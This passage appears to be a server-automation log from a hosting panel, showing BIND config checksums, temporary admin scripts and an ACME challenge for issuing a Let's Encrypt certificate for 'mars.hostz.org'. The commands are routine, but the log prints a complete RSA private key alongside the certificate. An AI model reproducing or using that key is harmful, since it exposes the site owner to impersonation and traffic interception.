	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-21 19:11:18: 

runuser -l bind -s /bin/bash -c '/tmp/pkp284052; rm /tmp/pkp284052'

2026-04-21 19:11:18: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 06:00:02: Establishing a connection
2026-04-22 06:00:03: Establishing a connection
2026-04-22 06:00:03: 

PUT: /tmp/pkp235520

#!/bin/bash
if [ -d "/var/www/hostz_mars/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-22 06:00:04: 

chmod 755 /tmp/pkp235520; /tmp/pkp235520; rm /tmp/pkp235520

2026-04-22 06:00:04: 


1


2026-04-22 06:00:05: Establishing a connection
2026-04-22 06:00:05: 

PUT: /tmp/pkp551516

#!/bin/bash
mkdir -p "/var/www/hostz_mars/.well-known/acme-challenge/"
cd "/var/www/hostz_mars/.well-known/acme-challenge/"
cat > XvJOFlub4WguG1QgkRTseqiQTssTkGqAHpKBLxajflU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
XvJOFlub4WguG1QgkRTseqiQTssTkGqAHpKBLxajflU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 XvJOFlub4WguG1QgkRTseqiQTssTkGqAHpKBLxajflU


2026-04-22 06:00:05: 

chmod 755 /tmp/pkp551516; /tmp/pkp551516; rm /tmp/pkp551516

2026-04-22 06:00:05: 




2026-04-22 06:00:10: Establishing a connection
2026-04-22 06:00:11: 

PUT: /tmp/pkp819188

#!/bin/bash
mkdir -p "/var/www/hostz_mars/.well-known/acme-challenge/"
cd "/var/www/hostz_mars/.well-known/acme-challenge/"
rm XvJOFlub4WguG1QgkRTseqiQTssTkGqAHpKBLxajflU


2026-04-22 06:00:11: 

chmod 755 /tmp/pkp819188; /tmp/pkp819188; rm /tmp/pkp819188

2026-04-22 06:00:11: 




2026-04-22 06:00:11: Establishing a connection
2026-04-22 06:00:11: 

PUT: /tmp/pkp674705

#!/bin/bash
temp_file=$(mktemp)
TARGET=ecea81f90eb664107ec66742d2c0036d

cat > $temp_file <<'endmsg'
27:c3:38:13:ff:32:a5:f3:77:1a:1c:81:52:95:1f:ae

-----BEGIN CERTIFICATE-----
MIIE9TCCA92gAwIBAgISBVj/oR/FT+qDgwdACsdMQ1EGMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDIyMDUwMTM5WhcNMjYwNzIxMDUwMTM4WjAZMRcwFQYDVQQD
Ew5tYXJzLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AJoL2HtS/cN6ZA8GjdEBOM2UVg6JiCGmRJJIF6akRHaov8wqFwVMQ50diwEUICVc
ocmrd/NkKOhV21gOuqSJq64jZ2fjuW3ey9FiyLCtYFJh0Z3avSmwNyeDNgif9U0g
YQx+RpE3oluWoFlP8vyTzVKfSY6EijVwS1PMRcidXELM57n1r0m79mJc3ABmvJok
tTQKK55ibxIf/Y0opLj8H3wb9YA1NRpfzi62BfPY9To6ZSeRMrY0YZodWrg9xjqp
P1ESHOn69a9VTq+2to9fRnYwBewgivRaDMwdhtBe4GAq9d30vU7+7adfTAS4VDcZ
jqKripqjrIkol7/F3Ry0p/sCAwEAAaOCAhswggIXMA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBQi5bnC
KBDrkkhYgtTjesNd4DjXrzAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jIsoQOO9aS
MzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMuaS5sZW5j
ci5vcmcvMBkGA1UdEQQSMBCCDm1hcnMuaG9zdHoub3JnMBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC0GA1UdHwQmMCQwIqAgoB6GHGh0dHA6Ly9yMTMuYy5sZW5jci5vcmcv
Ny5jcmwwggEMBgorBgEEAdZ5AgQCBIH9BIH6APgAdQDXbX0Q0af1d8LH6V/XAL/5
gskzWmXh0LMBcxfAyMVpdwAAAZ2zxkiCAAAEAwBGMEQCIHODbbnWmSD1UlgbH5LO
ZeVfo7nnIgWg8YN/tDhEjjNXAiAnBBWvN/5IepbdO/Ne1+XXZQRaO7fAZOlf3B5u
K4Xw2wB/AGz+UBlDqF6pFrxS0TPk3Mke8UEcfSWEINFzgJ4YGOs6AAABnbPGSqcA
CAAABQAIOIhqBAMASDBGAiEA9uMZ7522jIn/B5KAKN2aoARs4kymR4P3rXyHtXTI
S/cCIQDhRU35VAgNbPo4FR9EOsvx0/Eem6grMIG4tbUwKvkFeDANBgkqhkiG9w0B
AQsFAAOCAQEAZdRNtCmRDSZbP5dpmpHK1+zY2Vxoyxdtc5UDZE10gmLtCgwgEtlR
CBZt/jTzRWqyBGmkRr5ent+FMiblbtWKKRE1GfwlkWXKuRvGn7LEH+CdelwuBabE
GkU3SLJg7oMsVXmYxlmPUg/kTogKr4fU5Yvjlo3ImkiTQAgxfYa5/6ze6GzuLoD3
SQ/cjPU2m+KWZvX5Lf1am4C6QWazGMLAeilcQj6aNbesysOVZNT7A93z10eEEg9H
HSXBrWItVh/h8YuCrBLDxmXAWojl+ymjWAOv0UMe8Qol9i0Um/KQ2Z5LcOUIY5Yz
2l8vGDBQ7T6W/roD3BSXpJoMuTcc9vibAA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCaC9h7Uv3DemQP
Bo3RATjNlFYOiYghpkSSSBempER2qL/MKhcFTEOdHYsBFCAlXKHJq3fzZCjoVdtY
DrqkiauuI2dn47lt3svRYsiwrWBSYdGd2r0psDcngzYIn/VNIGEMfkaRN6JblqBZ
T/L8k81Sn0mOhIo1cEtTzEXInVxCzOe59a9Ju/ZiXNwAZryaJLU0CiueYm8SH/2N
KKS4/B98G/WANTUaX84utgXz2PU6OmUnkTK2NGGaHVq4PcY6qT9REhzp+vWvVU6v
traPX0Z2MAXsIIr0WgzMHYbQXuBgKvXd9L1O/u2nX0wEuFQ3GY6iq4qao6yJKJe/
xd0ctKf7AgMBAAECggEAEChR6o2H5Gr/97t+QH/aT2XRqPCwAKeJ5bX+FRKBw9hr
VaTMiVe4d9BTdieAP6r5pUeA61yEFep7eT8CQKPYCAnanMD8ABQwWKP93NoykjGE
ZQQ+dxLulgxjLIBqoE5XH5JXIIAvXV/tLbD/EZMHJDVk57frLzO6Eu4IG8S1mqPt
uLOyuEGDAB7+HcnTBveebx/dpF9/tCS3zcK9LO8MaTDl7LiU+uuyuTfHDOIvPQQQ
nAeni+NOFKKws3PGsc7QnWGS3jVCKlGzG/9uysiPzxzFcFchpaL2GiatFcc1DrDt
jydR6qkHS8ZD/VI8rQGxo7taLoHWYLwwgazaMkKi0QKBgQDJSIoSf2xhc7swrqRg
bPHPfKBghZAaSD8zwwOl6zzhzc7V+f7XVwWwRlvKz6B2gNDIq5r5bPzEpY5N2chA
dReJAqw6a1IsKnXEjyrUDWBFe2rYCC48/ImYYse/BX2eOi6s/lKNe0hR3wWeOPjM
NQ8Oi9JClqcLJmflc9j7yHXBxwKBgQDD7Aq7G1ch3mT0zjk0mKePlfV+90Lyjt8T
u+XfdVOi+Db1wM/jVKTpXNN68wP6xOixtWD5eHuLFNsfaPsQ7CuBRELeQeBDduAV
DNzRqp0cQLBNp0uvcDtGHaF784l8UuZNfQ8dzX74jynLdKsfdhKYUVscAEMPFCbE
ZrBUcHGoLQKBgDWUJpS38HycVtallkHInjFx5irrQqmMU66OmZj/3ivpIcaZjjl6
A5yhjeuViwwgS/MuoskENuCNhSy57PEjeglRedDvImd5QfH5fhgGG3tDV/R7cPtw
6Ztzp+H0LzUAHc6UwBrDF0Qbzp4IYknRUdm4ZFavTXXNWliclsSm3pmfAoGACBuE
dimzeVtSoi7Gfz6x8GcsOYzR4Ge5I3/rC0w3oc7Tt2e7MpUWHfIRbk0QJRhw6Kmw
0aICusaqKqqVeSXMxxSkD756IVCSBUz69lIxHjIvGYeKwj/KtCQVwqNZVSO5FAvQ
zFLspiyGdjzlt++S5Wq4cngwTjdvQ0FcmqHskiECgYAeiPdRBfb2fgxHGhknarn8
4nb03ZYltqvijg6SY16LXKXjGZ1/3Min5O6J4tfn2ZArm6+TVhy9QGW578euNzD4
ikFBBOyn6hKC2B/sjehDXnqq8NjbtMiyY6jECAKOypT4SGWBi1TBCJq3ky9eQon2
1gC/PPDEfsXRVpVdGoC/Ug==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
